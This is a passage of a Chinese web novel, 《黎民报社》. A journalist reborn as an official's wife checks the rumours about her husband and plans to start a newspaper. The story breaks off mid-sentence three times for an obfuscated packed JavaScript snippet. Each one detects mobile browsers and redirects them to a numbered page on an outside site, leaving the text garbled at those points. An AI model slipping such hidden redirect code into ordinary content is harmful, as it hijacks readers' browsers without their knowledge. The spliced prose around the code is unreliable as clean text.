《黎民报社》 1. 万民之眼 冰冷的湖水不断灌入口腔，肺部空气被挤压殆尽。孟允抒被卡在汽车后座上动弹不得，只能感受到眼前的景象逐渐模糊，堕入无边的黑暗。 在一片混沌之中，她脑内忽而响起一个电子合成音。 【尊敬的宿主您好，欢迎您来到大胤朝。请问您是否需要激活系统？】 孟允抒正在生死存亡的紧要关头，她顾不得思考，果断选择了“是”。 【我是情报系统“万民之眼”，您当前的声望值为0，请继续加油。新人礼包正在搜集中，请稍等。】 接着，她感到头部的不适开始缓解，呼吸也重新畅通起来。 “夫人？” 孟允抒听闻一个饱含犹疑的女声，却只有动动手指的力气。 她的手很快被握住，那女声又惊喜道：“夫人，你醒了？” 孟允抒挣扎一番后，终于艰难地撑起眼皮。她的视线一点点聚焦，一片藕荷色床帐映入眼帘，上面绣着淡雅的兰花图样。 这不是自己熟悉的地方。 孟允抒的意识骤然清醒，却因为身体虚弱没能从床上坐起。她余光瞥见床边坐着个人，便转头打量她。 那姑娘二十岁左右的年纪，身形高挑，仪态端庄，身着碧色罗裙，挽着整齐的发髻，头上有珠钗稍作点缀，简约而不失美观。 她关切地问：“夫人身体可有不适？” 联想到系统方才的发言，孟允抒大致捋清了她当下的处境。 她是个记者，在一家报社工作。今天她在暗访回来的路上遭遇车祸，车子被撞得冲出路面翻进了湖里，不一会她就因溺水而窒息昏迷。 看眼下这神似穿越的场面，孟允抒怀疑自己其实是溺亡了。 她正要询问对方的身份，系统的声音又蹦了出来。 【感谢您使用本系统，现在我将新手福利赠送给您，请注意查收。】 就像倍速看电影那般，孟允抒的大脑被塞进无数片段，缀连成原主身不由己的一生。 原主与她同名，是家中独女，父母恩爱家境优渥，但好景不长，她的母亲在她七岁那年病逝，父亲未曾续弦再娶，三年之后，她父亲也因积劳成疾溘然长逝。当时她尚且年幼，在江南无人照管，便遵从父亲遗嘱，千里迢迢来投奔京城舅父家，住进了姚府。 但正如历史上那些高门大户那样，她舅父的家底并不干净，周围还有不少人算计她的家产，寄人篱下的生活也并不好过。可她身为一个孤女别无他法，只能谨慎求生。 十八岁那年，她舅父为拉拢当时的新科探花郎许昭，强行将她嫁给对方打探其动向。许昭表面对她以礼相待，实则处处提防，二人互相猜忌，并无夫妻之实。 两年后，许昭时任刑部员外郎，他掌握原主舅父贪腐受贿的罪证上报朝廷，今日御史台派人抄了姚府，罪人悉数收监，许昭则因查案有功升任刑部郎中。 原主惊闻此事万念俱灰，认定许昭是个阴险小人。她在世上彻底没了依靠，又背上引狼入室的骂名，她不堪受辱，便趁四下无人自缢而亡。 随后孟允抒便穿越过来。 她在心中暗骂，真是吃人的封建社会。 “我去给夫人请郎中。” 床边的姑娘起身欲走，孟允抒这才想起她还没给对方回话，连忙将她拦下：“不必了。” 说罢，她又对那女子笑笑，打消她的怀疑：“姐姐也忙活了半天，且歇着去吧。” 从原主的记忆中孟允抒得知，此人名叫秋盈，是原主的贴身丫鬟，比她年长三岁，两人从小一起长大。秋盈行事稳重干练，对原主无微不至，故原主在人后一直唤她“姐姐”。 秋盈见孟允抒的气色回转，却仍不大放心：“夫人感觉好些了？” “嗯。”孟允抒望着她的双眸，粲然一笑道，“已无大碍了。” 她刚一醒来便看见如此标致的姑娘，自然是心情大好，连同身子都轻快许多。 “夫人可是差点要弃我而去。”得到孟允抒的答复，秋盈稍稍松了口气，“饭后你说要小憩一会，让我们都退下去。过了半个时辰我来看你，就发现你……” 她顿了顿，咽下激烈的情绪，才重新开口。 “我叫人去请了郎中来，郎中说他也无力回天，让我们准备后事，速速差人禀告老爷。还好你醒了。”说到这里，她强忍眼泪攥紧孟允抒的手，“夫人要是走了，我活着也没什么念想了。你可想开些，莫要再寻短见。” 孟允抒与她没什么交情，却听得出她话里的真挚，于是宽慰她道：“放心，我会好好活着。” 从事不关己的局外人视角看，许昭的行为可称得上“大义灭亲”“铁面无私”，反贪反腐也是为民除害。可从原主的角度出发，许昭出身寒门，起初也只是个八品小官。攀上她这门亲事后，他凭借姚府的影响力在官场扶摇直上，羽翼渐丰过河拆桥，就是一个纯粹的白眼狼，也就是现代人所说的“凤凰男”。 出于新闻记者的职业素养，孟允抒没有急着为这件事下定论。但她现在孤立无援，简直是任人宰割，若许昭真有什么歪心思，她根本无力与之抗衡。 她正分析着现状，房门被人猛地推开，从外面闪进一个身影，急匆匆地赶至孟允抒床前：“孟姑娘情况如何？” 秋盈见状连忙起身行礼：“老爷，夫人已经醒了，只是身上没什么力气。” “许公子回来了。”孟允抒用胳膊支起上半身，强撑着想要下床，却被来人阻止了动作：“姑娘免礼。” 此人便是许昭，他与原主平日里交流不多，二人虽已成婚两年，在私下却依然以“姑娘”“公子”互称。 孟允抒心想，这就是标准的室友关系。 这位室友身材颀长，站姿挺拔，其人似是由雾凇凝成，言谈举止间携着宁静冷冽的气度，却反衬得他五官深邃。此刻他还身着一袭绯色公服，显然是听说出了人命，从官府匆忙赶回，没来得及换装。 许昭简单问过几句话，便屏退了秋盈，留他和孟允抒单独待在屋内。 孟允抒绷紧精神靠在床头，看他搬来张椅子落座，戒备地盯着他。 许昭沉默片刻后开口：“姑娘不必担忧，你是外姓女子，又已经出嫁，无论如何姚府的罪名落不到你头上。” 孟允抒暗自庆幸她不会无辜受累，但她还想知道许昭接下来将作何打算。 为了不露出破绽，孟允抒努力装出悲痛的模样，大脑飞速运转，试图搜寻她的伤心事以便挤出几滴眼泪。 作为一个亡故后的穿越者，孟允抒最牵挂的便是自己的家人朋友，以及她奋斗了多年的新闻事业。在过去的采访报道中她得罪了不少人，便趁早安排好了后事以防万一。 尽管她已经筹划好一切，可她的家人朋友免不了要难过一番。 想到这些场景，孟允抒的泪水瞬间决堤。她忙用手帕拭泪，倒是演得十分逼真：“现在我举目无亲，可以任由公子处置了。” 许昭见她哭得梨花带雨，连声音都打着颤，不得不解释道：“我知道你对我怀恨在心，可我不能徇私枉法。但姑娘无罪，何来处置之说？” 他完全是一副公事公办的疏离态度，孟允抒猜不出他的意图，索性直入正题：“我与你并无夫妻情分，你留我还有何用？” “但你我尚有夫妻之名，一切照旧便是。”说着，许昭又给出第二种方案，“若你在此处待得不自在，我也可以与你和离。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310331|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另寻住处需要耗费巨大的精力与财力，从目前情况来看，后者显然不是个好选择。 孟允抒再次试探许昭，泪眼朦胧地说道：“公子若是嫌弃我的身份想让我走，可与我明说，我们好聚好散。” “姑娘不要误会，我并无此意，一切全凭你自行决断。”许昭觉得他有越描越黑的趋势，实在不便多言，只能劝道，“姑娘该为自己多做打算，保重身体。” 话毕，他起身告辞。 确定许昭离开后，孟允抒马上收了泪。她察觉到原主体质虚弱，再哭下去恐怕身子会吃不消。 既然已经走到这一步，不如好好想想接下来该怎么办。 原主父母双亡，姚府又已经倒台，她在过去的二十年里都是个深居简出的大家闺秀，没什么人际往来，当前唯一的靠山便是许昭。 靠山山倒，靠人人跑，更何况许昭未必可靠。从他的反应来看，他暂时不会对自己构成威胁，但为了不再受制于人，她得趁早想个独立谋生的法子。 单看原主的个人财产，过去她的家产被姚府吞了不少，现在手里还有些嫁妆可供生活，但孟允抒深知坐吃山空的道理，这样下去不是长久之计。 思索片刻后，她忆起那个所谓的情报系统——“万民之眼”，在脑海中唤醒系统问：“你的具体功能是什么？” 【本系统的使用说明如下：宿主通过完成任务将获得数额不等的声望点，声望点可以兑换各种情报信息，主要分为“舆情热点”和“调查线索”两类。其中，越高级的信息所消耗的声望点越多。】 信息就是新闻工作的生命之源，孟允抒觉得这个情报系统简直是为她量身定制。 按系统所言，她现在的声望值为0，无法进行任何兑换。孟允抒问：“那现在有哪些任务可以做？” 【我是情报系统，所有的信息都要收费，所以不会直接公布任务，需要宿主自行触发。】 孟允抒想起了她找选题抓热点的痛苦经历：“那要是我一直触发不了任务呢？” 【不会的，只要您肯到处走走，总能找到任务。我再额外送您一条信息：通常情况下，舆情热点与任务有直接关系。】 听系统的意思，她还得谢谢它的好心。 综合分析以上情报，孟允抒想到了自己的老本行。有“万民之眼”的帮助，在消息闭塞的古代，发展新闻业也未尝不可。 顺着这个思路想下去，她得出一个答案：创办一份民间小报。 在原主的记忆里，这个时代已经出现早期报纸，分为邸报和小报两种，前者由官方发行，主要刊载政治要闻，内容偏严肃，经过层层审核，许多信息不透明；后者则由民间私自印发，内容多样形式灵活，但并未形成规模，组织松散，也存在捏造新闻博人眼球的问题。 孟允抒思忖，若是能将两者的优点相结合，必定能填补市场空白。 办报的第一步是组建报社，而穿越前她就一直在报社工作，也算是经验丰富。虽说报社部门众多，但最主要的还是记者和编辑两个岗位，在起步阶段，这部分职能她靠自己就能完成。 至于其他工作应当如何开展，怎样招揽贤才，她得再认真考虑。 光说不练假把式，为了寻找任务和思考问题对策，孟允抒接下来要做的事便是外出调研。 确定行动目标后，孟允抒的心境明亮了几分，胃部也隐约传来饥饿感。 她低头握住自己纤细苍白的手腕，心头涌上一阵疼惜之情。 斯人已逝，孟允抒决定从今天起好好吃饭多加锻炼，养好身子，为自己，也是为这个姑娘，迈向崭新的未来。 她掀开被子下床，小跑着去门外找秋盈。 2. 舆论 孟允抒俯身低头，搭上秋盈的手，被她扶着下了马车。 街道上人潮熙攘，卖货郎身上挂满五花八门的小玩意，推着独轮货车走街串巷，辗过满街的吆喝声；磨镜匠正在为镜子研磨抛光，货架上挂着的铜镜映照出往来行人的身影，可见贩夫走卒穿梭其间。 这些生活化的场景让孟允抒十分恍惚，仿佛自己只是在一个寻常的午后出门逛街。 秋盈在旁边小心搀着她一路向前，不忘叮嘱道：“夫人体弱，别走得太远。走一会就该停下来歇歇。” 孟允抒口中应着“知道”，视线和心思却全扑在街景上。 原主过去大门不出二门不迈，孟允抒没有太多关于市井风貌的记忆。既然要办民间小报，那必然要从体察民情做起。昨日孟允抒请秋盈得空陪她出门，秋盈一再劝阻却拗不过她，最终只得同意。 眼前这条街道名为云锦天街，离许府不过两刻钟车程，靠近京城中心，是京中最繁华的街道，这一点在商铺数量上就体现得淋漓尽致。路边摊贩占据了大半街道面积，有的支起凉棚货架，木牌上写着诸如“醒酒姜茶”“木樨香丸”之类的商品名；其后还有不少正店，限高三层，许多店铺就开在坊中，形成前店后宅的格局，如同现代的门面房。 孟允抒对此种情况很是满意。坊市合一有利于商业发展，城市结构也不至于死板封闭。回头她若是需要，便可以就近寻个铺面。 她沿着街道缓步前行，目光掠过一个个店铺匾额，看到“文昌书坊”四字眼前一亮：“秋盈，我们进去看看。” 这家书肆铺面较大，生意兴隆，店主忙于应付其他顾客，无暇与孟允抒搭话。她翻看柜上的书本，书籍类型多为诗集、经书、话本小说，字迹清晰，纸张质量过关。 店铺后门敞开着，孟允抒能一眼望见屋后的宅子，两者之间隔着一处小院落，其中放着几张木桌。并上后宅中的人，共有十多人正伏案工作，手头所持的工具不一。 孟允抒走到他们身边仔细观察，发现这些人大致可分为写工、刻工、印工三类，写工负责誊抄，刻工持刀雕刻版样，印工则在印版上刷墨，将纸张按在字模上进行印刷。 对于那些流通度极高的书籍，如蒙学教材、经典小说，大多采用雕版印刷，其余则使用活字印刷，以便字模的再利用。 孟允抒暗暗称妙，活字印刷术真是伟大的发明。 她要是办报，考虑到新闻的时效性，雕版印刷定然行不通。孟允抒问了几人得知，若使用活字印刷，熟练的排版工每人每小时可排一千字左右。 她见一名印工正将印好的纸张夹起，悬挂在院中的线绳上，孟允抒走近细看上面的内容，发现这正是民间小报。 她赶忙上前行礼道：“请问这位小兄弟，这样的一份小报，通常有多少字？” 印工见她态度温和有礼，也爽快应答：“姑娘，小报的字数不等，少则两百，多则上千。有些小报文章写得太长，栏目众多，得用五六张纸才能印完。” 孟允抒点头，将目光投向面前的纸张。 秋盈见她要去看报，神色紧张地挽住她的胳膊，出言劝阻道：“夫人，我们还是去别处走走吧。” “为什么？” 一句话刚出口，孟允抒就明白了答案。她的目光正落在一篇描述宫闱秘事的小报上，文章详细描述了皇帝与贵妃之间的爱恨纠葛，字里行间透露着香艳刺激的气息。 孟允抒仿佛看到了狗仔队的雏形，人们对八卦秘闻的热情果然亘古不变。 秋盈左右看看是否有人注意她们，再次提醒孟允抒：“夫人，你不能看这些不正经的东西，于你的清誉有损。” 孟允抒看得津津有味，满不在乎地回答：“小报印出来便是给人看的，旁人看得，我就看不得？” 秋盈听了这话先是一愣，随后竟然笑起来：“夫人像是参悟了神机，突然如此通透。” 孟允抒意识到她的发言与原主的性格严重不符，神色如常地掩饰道：“去鬼门关走了一遭，自然想开了许多。” 说话间，她快速浏览了几篇文章，正要取下其中的一份去结账，却发现秋盈站在一旁，蹙眉紧盯着面前的小报。 “怎么了？” 孟允抒循着她的视线望去，从标题中可看出，这篇文章讲述的是昨日姚府被查抄的事。 开头写道，许昭作为刑部官员刚正不阿，即便姚府是他夫人的娘家，他依然秉公执法，不徇私情。 接着作者笔锋一转，暗示读者事情没有那么简单。他爆料出许昭在两年前与孟允抒成婚，为的就是借姚府的势力平步青云，也收受了不少好处。现今他已经在朝中积累了足够的人望，便着手洗白自己的来路，推翻姚府加官进爵，名利双收。 结语处作者又写，毕竟人无完人，许昭所做之事也算利国利民，百姓应对他感恩戴德。 孟允抒感慨，作者明夸暗讽的功夫真是厉害。 对民众来讲，许昭肃清官场分明是好事一桩，但作者并未突出许昭的反贪行为，而是将读者的注意力引向许昭自身，向大家证明许昭绝非大公无私，只是为了个人利益一箭双雕。 寥寥数语便将此事的性质转变为黑暗的政斗。 孟允抒见过太多类似手法，正如那几句经典的网友锐评，“新闻学魅力时刻”“学新闻学的”。 面对同一件事，站在不同角度去观察，用不同手法去传达，导向的结论就会大相径庭，报道者若是居心叵测，便能利用这一点煽动群体情绪，对敌方发起舆论攻势。 她问道：“秋盈，你对这篇文章有什么看法？” 秋盈面露难色：“夫人，我不好说。” “但说无妨。”孟允抒对她温和地笑笑，“我想知道姐姐是怎么看待这件事的。” “于公，查证断案是老爷职责所在，他这样做合乎常理。”她跟着孟允抒取下小报去结账，“于私，老爷多少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310332|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些不近人情。更何况他确实从此事中获益，很难不为人诟病。” 孟允抒点点头。从原主的记忆中来看，恐怕大部分人都持有类似观点。 她折起小报交给秋盈，让她装进随身携带的荷包里收好：“你觉得许公子是个什么样的人？” “说实话，我对老爷不甚了解。我从小就跟着夫人，他自然也一直防备着我，顶多就是吩咐我两句，让我照顾好夫人。” 秋盈扶着孟允抒走出书坊，换了个话题：“前面有个茶铺，夫人坐下歇歇脚吧。” 在外面走了半天，孟允抒是有些口渴，于是欣然应允。 两人坐在青竹扎成的棚子里，趁着等茶的工夫，孟允抒凝神听着周围人的闲谈内容。 新闻素材往往来自生活中不起眼的角落。 她左侧的茶桌旁坐着两三个农夫打扮的男子，担子放在一旁，也像是走累了在此处歇脚。他们的嗓门很高，将孟允抒的注意力尽数捕获。 “听说姚府被抄了？什么时候的事？” 姚府家大业大，眨眼之间风云陡变，自然成为当下的热点新闻。 “就是昨日上午的事。”背对着孟允抒的男子回答，“城里早都传开了，你不知道？” “我们住得远，消息不灵通。你详细说说，怎么回事？” “我也是从别人那听来的。” 而后，孟允抒又从他口中听了一遍事情的来龙去脉，只是这次的夸张和奇幻程度比起那张小报有过之而无不及，在他的描述中，许昭简直是个十恶不赦的奸佞小人。 这才听第三遍，版本都更迭成这样了。 这是个狗血又劲爆的新闻，许昭被推到了风口浪尖，几人痛骂他一阵，又有人问：“那他的夫人呢？她知道这事后是什么反应？” “先是闹着自尽，但许昭回去之后就安静了。”那人露出诡异的笑容，压低了声音说，“我听说是因为许昭那功夫很厉害，又玩得花，他夫人舒服得紧，自然离不开他。” 孟允抒差点被刚喝进去的茶呛住。造黄谣都造到她自己身上来了。 “一个被窝里睡不出两种人，看来他夫人也没气节，连这等奇耻大辱都能忍。” 秋盈面露不悦，显然也听见了他们的话，但在孟允抒的眼神暗示下，她只是过来扶起孟允抒：“夫人，我们走。” 孟允抒并非不生气，可古代的新闻大多依靠人们口耳相传，谣言漫天实属正常现象。她更在意脑内的那道提示音。 【恭喜您触发新手任务：三日内澄清关于许昭的谣言。任务完成后可获得20点声望。】 孟允抒思索片刻生出一个主意，在脑内问系统道：“做任务的方法有限制吗？” 【没有。完成任务的手段由您自己决定，只要合法合理，本系统不作过多干涉。】 这个回答正合她意。孟允抒决定用魔法打败魔法，她深谙此道。 “秋盈，回府吧。” 3. 真相 孟允抒进门问过门房，得知许昭已经散值归来，便叫秋盈先回去，自己则前往书房寻许昭。 既是要撰写报道，孟允抒决定先从当事人入手，随后再进行多方查证。 她行至书房，见房门开着半扇，一眼便望见许昭正坐在桌前看书，对她的到来浑然不觉。 孟允抒到底与许昭不熟，有些紧张地整理下衣衫，上前行礼道：“许公子。” 许昭闻声起身，微微颔首道：“孟姑娘回来了，请坐。” 两人隔桌落座，许昭叫人来给孟允抒上了茶，孟允抒屏退旁人，开门见山道：“公子当下是否方便，我有些事想问你。” “姑娘请讲。” “事先声明，我接下来所问之事并非出于私心，只想求得事实真相，望公子直言不讳。”孟允抒很快进入角色，“关于姚府被抄一事，我自知舅父作恶多端，但并不清楚其具体罪证，敢问你是否知晓？” “国有国法，若非证据确凿，朝廷不会给姚府定罪。”说着，许昭便罗列了姚府的种种罪状，“这些罪行都有迹可循，人证物证俱在，姑娘如有疑问，可亲自前去打听。” 孟允抒听得心惊胆战。姚府所做之事，件件都是死罪，满是黎民百姓的血泪。 她面上却依然不动声色，试探着问：“公子这些年也收受了不少姚府的好处，此事又当作何解释？” “姚府所送财物，或是捐赠或是充公，我一概有记录。至于结党营私，更是无稽之谈。朝堂之上众人皆知，我向来与姚大人水火不容。”许昭神情严肃，“许某不是圣人，但至少问心无愧。” 孟允抒见许昭没有回避问题的意思，觉得可以加快提问的节奏。 但接下来的问题比较敏感，为防止激怒许昭，孟允抒装出泫然欲泣的模样，双手攥紧手帕置于自己胸前，用哀婉的语调问：“既是如此，你当初为何要与姚府结亲？” 此言一出，许昭果然沉默不语。 孟允抒转头紧盯许昭，表面上是在逼视他，实则谨慎地观察他的脸色：“还请公子为我解惑。” 良久，许昭终于开了口。 “过去碍于你我的身份隔阂，有许多话我不便讲明，现今是该对你说实话。”他停顿片刻，提及当年之事，“三年前我考中探花，被封了个小官，其后有多人前来说媒。我无意娶妻，但姚大人曾多次牵线，邀我去府中小坐，我不能不允。” 孟允抒点头，这便是“榜下捉婿”。进士及第的人往往是潜力股，投资回报率高些，当然炙手可热。官场上的人也明争暗斗，想借联姻壮大自己的势力，她舅父打的就是这个主意，一直向许昭施压。 “我在姚府见到姑娘面带愁容，眼中含泪，打探得知你在府中常受轻待，又因我屡次拒绝这桩婚事，一时间流言四起。”许昭抬眸看了孟允抒一眼，“你时年十八，姚大人无论如何都要为你定一门亲事。到我府里虽不至于让你毫无顾虑，但至少可不被欺压。后来之事你也知道。” 当年孟允抒确实听秋盈提起，许昭曾向她打听自己的情况，但她只当许昭是随口一问，并未将此事放在心上，也没想到他是因此才应下了亲事。 她回忆那篇文章，现在只剩下最后一处污点：“公子因此事升任郎中，是否会良心不安？” “姑娘请看看这个。”许昭起身取来一封书信递给孟允抒，“接到告身后，我曾向陛下上疏奏议，陛下也作出答复。” 她展信一看，内容是许昭对自己私德有亏的痛斥，言说他不但不应升官，反而应该被降罪。 言辞恳切，感人肺腑。 上面的朱批则很明显出自皇帝之手，他褒奖了许昭大公无私的行为，认为他不该自责，理应升职。 孟允抒心想，若许昭确是正义之士，就不应放任他被人诬陷。 “多谢公子解惑。”她将信封还给许昭，“近日你可曾听闻城中传言？” 许昭端起茶盏：“满城风雨，我岂能不知。” “你为何不为自己辩白？” “公道自在人心。”许昭喝了口茶，语气冷淡，“更何况民众大多无知，何必为此费神。” 他这话说得孤高，听来有些刺耳。 “若人心偏信，则公道不公。”孟允抒反驳，“且民众之力不容小觑，许多人只是被有心之人加以误导，不得真相。公子此言着实傲慢。” 许昭没料到孟允抒会这样说，一时愣了神。 孟允抒意识到自己由于激动失言：“抱歉，允抒失礼。” 她向许昭告辞，临出门前她才想起，针对许昭的谣言，她还遗漏了一个问题。 孟允抒转过身，酝酿着语言：“我还有一事想问公子。你……” 她很想编几句话放上去，但实事求是的精神不允许她这么做。 孟允抒将心一横，说出了后半句话：“……是否精于床笫之事？” 许昭半晌没有回应，孟允抒偷摸着瞟了他一眼，只见他的脸上堆满红霞。 孟允抒尴尬地绞着手帕，在诡异的氛围中进退两难：“公子好歹说点什么。” 踌躇之间她发现自己犯了个大错，这个问题答“是”或“否”都不大对头。 她正要找补，许昭忽地开口：“我与姑娘都是清白之身，也不曾在外沾花惹草，无法回答姑娘此问。” 孟允抒得到答案赶忙道谢，随后落荒而逃。 在过去的职业生涯中，她不是没遇到过类似的尴尬场面，但许昭和她的关系特殊，她无法做到置身事外。 为转移注意力平复心情，孟允抒一面快步走向房中，一面构思着报道内容。 接下来整整一日，孟允抒都在查证许昭所言是否属实。 按照许昭提供的证据，她在城中四下走访调查，确证姚府所作之恶；同时她找人收买了几个官员府中的下人，打探他们主家对许昭的看法，他与姚大人在朝中有何过往；而后她回到府中拿到账本，将上面的收支齐齐计算一遍，并未发现纰漏或疑点。 她在府中也亲眼见闻，按许昭的官职品级和俸禄来说，他的生活过得相当简朴，开支已经压缩到了极致。 结合涉案百姓及其他官员对许昭的评价，以及这两日对许昭的试探、自己在府中的见闻，他的确是两袖清风，一腔赤诚。 至此孟允抒也安心许多。最起码她不会被许昭谋财害命。 获得完整的证据链后，孟允抒捋顺逻辑，将这件事的疑点逐个击破，晚上点灯熬油地写了报道。 在秋盈催促了十几遍后，孟允抒终于完成文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310333|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稿，满意地递给她：“姐姐帮我看看，可还有需要修改的地方？” 秋盈放下手中的活计接来纸页，点头称赞道：“此文言语凝练简明，夫人的笔墨远在我之上，我提不出什么意见。” 说罢，她又扶孟允抒上床，温声劝道：“我知夫人至情至性，无论何事都讲求干净清白，可面对悠悠众口，凭一己之力难以辩白，你不该为此劳心费力。” 孟允抒褪下外衫，叫秋盈在她身边睡下：“但若是因此就坐视不管，任由他人颠倒黑白，便等于将舆论阵地拱手让人。如此下去，我们再也听不到真实的传闻，进而被奸恶之人误导。” 秋盈在黑暗中沉默了一会，似是在咀嚼她的发言，最终认同道：“嗯，妖言惑众。若非与你一同查证，我对老爷也心怀偏见。” 经过这两日的相处及原主的记忆，孟允抒知晓秋盈知书达理，办事能力极强，放到现代企业也是个高级骨干，被困在闺阁之中实属屈才。 孟允抒凑近秋盈，试探着问：“姐姐觉得女子是否应闯出自己的事业？” “那是自然。”秋盈不假思索地回答，“不论男女，一个人若有事业傍身，走到哪都有底气。” 说完，她又轻叹一口气：“可是要实现这一目标，简直难如登天。” “不，只要姐姐有心，此事并非全无希望。”孟允抒笑道，“从明日起，我们先去文昌书坊帮工。” 文昌书坊是许府附近规模最大的书坊，昨日孟允抒留心多问了几句，得知那里长期与探官合作印制小报出售，也愿意接受临时工。 她对秋盈详细讲述了自己创建报社的计划：“所以，我们可借鉴书坊的经营方式，先去铺中切身体验一月，为日后创建报社与运营积累经验。” “不行。”秋盈一口回绝孟允抒的计划，“夫人体弱，书坊事务繁杂劳碌，必定吃不消。” 原主并非自幼体弱，她身体的底子没什么问题，长大后才频频生病。孟允抒估计八成原因都是她忧思过度，加上整日闭门不出，吃不好睡不好又不运动，身体能健康才怪。 她才养了两日，都明显感觉到身上有了力气，精神也恢复了不少。 孟允抒不愿让她的计划胎死腹中，软磨硬泡道：“姐姐陪我一同前去，若有什么不妥，我保证马上回来，这样如何？” 她的嘴皮子功夫厉害，说了几句后秋盈败下阵来，同她约法三章：“就依你去吧。但如你所言，若是你有不适，我们立刻离开。” 孟允抒奔忙了一天，已经疲倦至极。得到肯定的答复后，她放松心神，困意便席卷全身。 秋盈想到一个问题，又开口道：“只是书坊中皆是男子，掌柜恐怕不会同意你我帮工。” 即便是现代社会，孟允抒在就业时也经常遇到性别歧视，和店主理论也是白费口舌，她对此早有准备。 她闭着眼睛问：“还记得今日我让你买的那两身粗布衣裳吗？” 秋盈点头：“记得。” 孟允抒嘟哝了一句“明早见分晓”便睡了过去。 秋盈替她掖好被角，望了一会她安详的睡颜，思绪纷飞。 孟允抒自那日醒来后，她的想法与从前大相径庭。若她真是因为死而复生扭转观念，倒也算是一桩好事。 4. 刮目相看 翌日一早，孟允抒将秋盈推至梳妆镜前，强行按住她要给她化妆打扮。 秋盈惶恐起身，连连推拒：“夫人，这不合规矩。” 过去确实没有主子给丫鬟打扮的道理，但孟允抒当然不在乎这点：“你服侍我二十年，今日我帮你梳妆也未尝不可。” 她扶正秋盈的脑袋，认真替她描眉：“况且你我要乔装混进书坊，最好听我安排。” 出于工作需要，孟允抒精通乔装之道，化妆不着痕迹，但效果堪比换头。 孟允抒原本面容白皙，脸上总是挂着温婉的微笑,眼波仿佛漾开的一汪春水，流转着灵动的神采。这会她换上粗布短褐，将头发简单束起，利用阴影凸显出颧骨，从外貌来看就是个略显清瘦的平民男子。 “好了。”孟允抒大功告成，扶正秋盈让她看向镜子，“你看如何？” 秋盈打量着镜中两人的身影，愣了愣神道：“我连自己都认不出，更别说夫人。” 孟允抒要的就是这样的评价，欣喜地笑道：“现在我再教你发出男声。姐姐听好了。” 她曾学过基础的伪声，糊弄门外汉轻而易举。 秋盈悟性不错，跟着她学了一会便练得七七八八，孟允抒拉起她出门：“现在万事俱备，我们出发吧。” 距文昌书坊还有一里路时，孟允抒叫停了马车，与秋盈步行前往。 与昨日不同，清晨的书肆中没有多少顾客，孟允抒刚迈过门槛，店主便满脸堆笑地迎上来：“二位小兄弟想买什么书？” 店主姓郭，蓄着不长的胡须，身着一袭墨蓝长衫，外貌举止皆有书香气息，但眼角眉梢又流露出商人特有的精明算计。 “多谢郭掌柜，我们不是来买书的。”孟允抒作揖回应，从袖中取出她事先写好的文稿，“近日我结识一名探官，向他买了篇文稿。请问掌柜可否将它印成小报出售？” 郭掌柜接过文稿，将上面的内容从头到尾读了一遍：“文章写得不错。” 接着他话锋一转：“但此文所述之事已经见报，恐怕销量不佳。小店担不起风险，还望小兄弟见谅。” 他的言下之意就是，此事已经成为一桩旧闻，价值大大下跌，他不想为此投资。 就人们追求新鲜刺激的心理而言，报道的及时性比真实性更为重要。 孟允抒略一思索问道：“那就当作是我请坊中印工代印小报，由我支付工费，除此之外您还可照常出售，这样如何？” 这是一笔稳赚不赔的买卖，店主没有拒绝的理由。 秋盈不解地看看孟允抒，她示意秋盈先别说话。 “那您需要先付定金。”郭掌柜向她报价，“小报三十份起印。一份小报两文钱，共六十文，姑娘可先预付十文定金，再结清余款。” 为了省钱，孟允抒极力将这篇文章写得简明扼要，字数并不多，她觉得店主的价格不公道，便试着和他还价：“按体量算，我这份小报的价格不过一文，您看……” 郭掌柜并不想让步，但面上还是一团和气，耐心解释道：“您要得紧急，自然得加些价钱。” 果然无商不奸。 孟允抒别无选择只好应下，又拉来秋盈问他：“我还有一事相求。我们二人才到此地，想先寻个谋生的活路，请问掌柜能否容我们在坊中帮工？” 郭掌柜用审视的目光在二人身上游移了几个来回：“你们可会篆刻字版？有无排字印刷经验？” 孟允抒摇头否认，赶忙把话题调转至对自己有利的方向：“但我们工于书法，过去曾以抄书为业，整理书架与打扫卫生也不在话下。” 在面试的时候，半真半假地吹牛才是最好的应对之道。 秋盈见孟允抒面不改色编瞎话，也在一边连声应和。 郭掌柜又盘问他们一阵，见二人像是老实人，语气真诚恳切，便同意道：“那你们今日先上工，如果干得不错，我便留你们在坊中营生。” 孟允抒心里有了底，谈到薪资问题：“那工钱……” “你们初来乍到，一日二十文。”郭掌柜说道，“待你们技术娴熟，我会给二位涨工钱。” 后面那句话完全是领导惯用的画饼技能，孟允抒直接将其忽略不计。 她和秋盈两人的工钱加起来才四十文，但他们每日至少可以为店主带来两百文的收益。 真是黑心资本家。 除此之外，还有一点值得注意。 